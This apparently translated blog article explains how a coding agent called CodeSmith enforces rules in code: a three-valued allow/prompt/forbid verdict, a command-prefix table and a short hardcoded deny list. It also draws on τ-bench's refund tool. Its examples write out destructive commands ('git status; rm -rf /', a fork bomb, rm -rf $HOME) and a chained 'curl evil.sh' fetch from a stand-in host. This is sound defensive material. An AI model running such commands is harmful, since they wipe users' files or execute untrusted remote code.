[KongchangAI]
· 4 min read· 2,286 words

Turning Business Rules into Gatekeepers: CodeSmith's Agent Constraint Engineering

Turning Business Rules into Gatekeepers: CodeSmith's Agent Constraint Engineering

Natural-language rules are just suggestions for an Agent; only constraints encoded as code are gatekeepers that cannot be bypassed.

The article argues that writing business rules into prompts looks clear but is actually full of ambiguity: fuzzy term boundaries, the model's understanding as a probability distribution, and prompt injection and long conversations diluting rule weight. Hence the core principle: "encode constraints instead of writing them into documentation." But text is not useless—explaining policy, finding legal workarounds, and pre-judging before calls still require natural language. The mature approach is a three-layer defense: prompts and tool descriptions handle understanding, parameters and schema act as a thinking checklist, and code validation is the final gatekeeper built on data the model cannot forge. Using τ-bench and CodeSmith as examples, it shows how three-valued verdicts, fact validation, and restrained blocking work together, warning that over-blocking breeds approval fatigue and YOLO mode that defeat the defense.

Natural-Language Rules Are No Rules at All

Writing business rules, approval flows, and refund logic only in prompts looks clear, but in reality it is riddled with ambiguity. "Refundable within 7 days of purchase"—is that 7 calendar days or 7 business days? Does "purchase" mean the moment the order is placed or the moment it ships? Humans fall back on experience and common sense; the Agent has no such buffer. The model's understanding of rules is a probability distribution, prompt injection can stuff forged rules into that distribution, and lengthy conversations dilute the weight of the rules.

For a probabilistic system, a rule written in a prompt is a suggestion, not law. Code is different: unambiguous, executable, either it runs or it errors out. This is precisely the core principle of harness engineering—encode your constraints instead of writing them into documentation.

But "encoding" does not mean discarding natural-language rules. There are three things only text can do: the model needs text to explain policy to the user ("why can't this order be refunded"); it needs to understand policy to find legal workarounds (the refund window is closed, but rebooking still has an opening); and pre-judgment before a tool call (this order probably won't pass, don't waste the call) also happens at the prompt layer. The mature approach combines the two: rules in the system prompt handle understanding and communication, while code validation at key decision points serves as the gatekeeper that cannot be bypassed.

CodeSmith Meta-Ability original screenshot

Textbook Case: τ-bench's Refund Policy

τ-bench (a benchmark measuring Agent policy-compliance in airline and e-commerce customer service scenarios) hides the best teaching material inside an airline refund tool. Its implementation does one thing, and the way the division of labor is cut is precisely where the brilliance lies.

Layer one: parameters as a thinking checklist. The tool description lays out full policy and requires the model to first pull the order and check item by item; the expected_* parameters force the model to write out its reasoning explicitly—to fill in expected_cabin_class, it must first read the order details. When the model discovers an economy-class order without insurance, it will likely notice rule five during the call-preparation stage and explain the policy directly to the user without initiating the call. This layer guides thinking and reduces useless calls, but it does not bear security responsibility—a self-reported value is a statement, not a fact.

Layer two: server-side fact validation is the real gatekeeper. Cabin class, insurance, and order time all come from the database, the current time comes from the server clock, and not a single policy fact comes from the model's reported parameters. This is not superfluous caution: models hallucinate and can be manipulated by injection. The last line of defense must be built on data the model cannot forge. The comparison of reported values against facts goes into an alert log, retiring from "security mechanism" to "audit signal"—one parameter, two payoffs.

What τ-bench is. τ-bench (pronounced tau-bench) is an Agent evaluation benchmark proposed by the Sierra team, specifically measuring how well models comply with policy in "tool-agent-user" three-way interaction scenarios. It constructs two realistic domains: airline customer service and retail e-commerce customer service. Unlike traditional QA benchmarks, τ-bench's key design is that each task comes with a domain policy document specifying under what conditions refunds, rebookings, and exchanges are permitted, and the Agent must satisfy user requests without violating policy across multi-turn conversations. The benchmark also introduces a "user simulator" playing a customer with specific demands; metrics include task success rate and policy violation rate.

Why it makes good teaching material. τ-bench's brilliance is that it splits "policy" across two different physical locations: one written into the tool description (so the model understands), the other hidden in the tool's server-side implementation (so the model cannot bypass it). The former affects whether the model "wants to and knows how to" call correctly; the latter determines whether it "can" bluff its way through. This split is exactly the most persuasive example when harness engineering discusses "constraint encoding"—it proves that "writing rules into prompts" and "turning rules into code" are not an either/or choice, but each handles a different failure rate.

A bit of background. τ-bench is also known for its strict judgment of "policy compliance": even if an Agent successfully helps a user refund a ticket, if the refund itself violates policy, the task is still judged a failure—it measures "task completion under the premise of following the rules," not "satisfying the user by any means necessary." This positioning makes it naturally suited for testing the gatekeeper mechanism discussed earlier.

CodeSmith's Isomorphic Implementation

This "rules as code" is not a metaphor in CodeSmith—it is code running every single turn.

The verdict is three-valued, not boolean

The Decision enum in execpolicy/decision.rs has only three values: Allow (run directly without approval), Prompt (request explicit user approval), and Forbidden (unconditional block). In plain terms: the world of commands is not a two-position "safe/dangerous" dial, but a three-position "allow / ask the human / forbid"—the rule engine issues the verdict, and the human retains the final veto. The policy itself is a rule table indexed by program name, with prefix rules, wildcards, and heuristic fallbacks taking effect in sequence.

The Arity table: one invariant governs all whitelists

The COMMAND_ARITY in command_safety.rs has 189 entries, pinning down the canonical prefix for each command. The central invariant is written in the comments: auto_allow = ["git status"] must match git status -s and git status --porcelain, but must not match git push.

In other words: flags do not count toward the prefix, positional arguments do. A whitelist matches an action, not a string prefix—naive string prefix matching would let the git status whitelist pass git status; rm -rf /. Compound commands are split by &&, ;, | and judged segment by segment; the entire command is allowed only if every segment hits a rule, so a cargo * authorization can never sanction cargo build && curl evil.sh. The file is 1,952 lines total, with dedicated unit tests locking down this invariant.

What arity is. Arity is originally a term from mathematics and programming languages, referring to the number of arguments a function or operator accepts (e.g., a binary operator has arity=2). In the command-line context, CodeSmith borrows the word to mean "when parsing a command into 'canonical prefix + arguments,' how many tokens the prefix should count up to."

Why it is needed. On the command line, the same program can be followed by flags (-s, --porcelain) and positional arguments (branch names, paths, remote names), and the two have completely different semantics: flags change the behavior of the same action, while positional arguments often imply another action or another object. If a whitelist is written as naive string prefix matching, git status would also pass git status --porcelain (harmless), but would equally pass git push (dangerous)—because the latter also starts with git and could carry a substring prefix like status. The arity table locks the match target to the action itself by "pinning the canonical prefix to token N"; flags are allowed to tag along, but once a positional argument appears it is treated as a different action requiring independent rule adjudication.

Engineering implications. A table of 189 entries means every entry must be manually reviewed, and whenever a new CLI appears in the ecosystem (such as a new build tool or package manager), the table must be expanded in sync. This is precisely the concrete form of the "fixed tax of constraints-as-code" mentioned earlier—the tax is not cheap, but it is still cheaper than mistakenly allowing an rm -rf.

Five dangerous patterns, not one more

The most flavorful part is DANGEROUS_PATTERNS: the entire file has only five entries—rm -rf /, rm -rf /*, rm -rf ~, rm -rf $HOME, and the fork bomb. The comments explain why the list is so short: Codex only flags explicit rm -f* / rm -rf patterns, and CodeSmith maintains the same restraint; aggressive patterns like shutdown, restart, killall, docker rm, and chown have been removed because they create unnecessary approval popups for routine operations.

Set up the straw man first: intuition says a gatekeeper should "block first and ask later," stuffing shutdown and killall all into the list. CodeSmith's answer goes the opposite way: these patterns create endless approval popups for daily operations; once users get annoyed, they switch to YOLO mode, and the gatekeeper is simply off duty. So only the catastrophic forms the user has no time to veto (wiping the root directory, fork bomb) are hardcoded as forbidden, while the rest are left to the Prompt layer for the user to adjudicate on the spot. These five are also checked by an independent literal_dangerous_pattern_reason, not relying on the main analysis pipeline—a fork bomb contains ; and &, and the main pipeline's chained branch would short-circuit it into "requires approval"; the independent check ensures that catastrophic forms raise a red flag no matter how deeply nested.

Approval fatigue is an underestimated security threat. Its mechanism is the opposite of "the boy who cried wolf": it is not that warnings are ignored, but that users are trained by a large number of irrelevant blocks into reflexively clicking agree. Once the popup frequency passes a certain threshold, users stop reading the content, and the approval step degenerates from a security mechanism into a click-through ritual—the gatekeeper is nominally still there but has effectively gone off duty.

YOLO mode is the extreme exit of this degeneration. Many coding Agent tools offer an "fully automatic / no confirmation" switch (jokingly called YOLO by the community, You Only Live Once), intended to speed up trusted local development scenarios. The problem is: if the gatekeeper also blocks a large number of routine operations, users will actively switch to YOLO to avoid being repeatedly interrupted—turning a defense line that should be "rarely triggered in normal times, inevitably important when triggered" into a crude switch that is "either fully off or fully on."

So the dangerous list should be short. CodeSmith only hardcodes as forbidden the catastrophic forms "the user has no time to veto," while leaving the rest of the aggressive but common operations (shutdown, restart, killall, docker rm, chown) to the Prompt layer for on-the-spot adjudication. The principle behind this trade-off is: a gatekeeper's credibility matters more than its coverage breadth. Better to let through a batch of gray-area operations that require human judgment than to ensure that every Forbidden entry is truly the kind that "blocks first, no discussion needed."

The significance of independent checks. Letting literal_dangerous_pattern_reason escape the main compilation pipeline is a patch for the failure mode of "structured parsing downgrading catastrophic forms": a fork bomb uses a combination of ; and &, and the main analysis pipeline's chained rules split it into segments that each look harmless, so the whole command is downgraded from "catastrophe" to "requires approval." The independent literal check bypasses this path, ensuring that failure in form recognition and semantic analysis does not infect each other.

Three Lines of Defense

At this point, the complete defense line is structurally isomorphic to τ-bench: natural-language rules live in the system prompt and tool descriptions to help the model understand and explain; parameter and schema design act as a checklist (arity normalization, self-reported expected_* parameters), guiding explicit verification before calls; code-enforced validation serves as the final gatekeeper—execpolicy's three-valued verdict plus database facts (τ-bench) or normalized command prefixes (CodeSmith), all built on data the model cannot forge.

The first two layers make errors less likely; the third layer ensures errors do not become irreversible losses. The core value of code-enforced validation is not saving tokens, but blocking things like rm -rf that must never happen even once.

The Gatekeeper Needs Restraint

Over-blocking breeds approval fatigue, and approval fatigue breeds YOLO—this is the other half of "don't trust, but write it clearly": don't trust the model, but don't treat the user as a criminal either.

The cost is also honest: the arity dictionary must be maintained in sync with the ecosystem (every new CLI requires adding entries), and changes to the rule table must stay in sync with the rules in the prompt—this is the fixed tax of "constraints as code," but it is still far cheaper than one mistaken deletion. Once the gatekeeper is in place, the next turn of the meta-ability is to point this machinery back at the Agent itself: fix the Agent with code, build the Agent with code.

One-line Summary

Natural-language rules are just suggestions for an Agent; only constraints encoded as code are gatekeepers that cannot be bypassed.

Paragraph Summary

The article points out that writing business rules into prompts looks clear but is actually full of ambiguity: fuzzy term boundaries, the model's understanding as a probability distribution, and prompt injection and long conversations all dilute the weight of rules. Therefore the core principle is "encode constraints instead of writing them into documentation"—code is unambiguous, executable, and the only form of constraint that cannot be bypassed. But text is not useless: explaining policy, finding legal workarounds, and pre-judging before calls still require natural language. The mature approach is a three-layer defense: the system prompt and tool descriptions handle understanding and communication, parameters and schema act as a thinking checklist to guide explicit verification, and code validation serves as the final gatekeeper, which must be built on data the model cannot forge. Using τ-bench's airline refunds and CodeSmith's execpolicy, arity table, and five catastrophic patterns as examples, the article explains how three-valued verdicts, fact validation, and restrained blocking work together, and emphasizes that over-blocking breeds approval fatigue and YOLO mode, which ironically makes the defense line fail.

#Agent constraint engineering#CodeSmith#execpolicy#τ-bench#approval fatigue#arity invariant#harness engineering
Share:

Related articles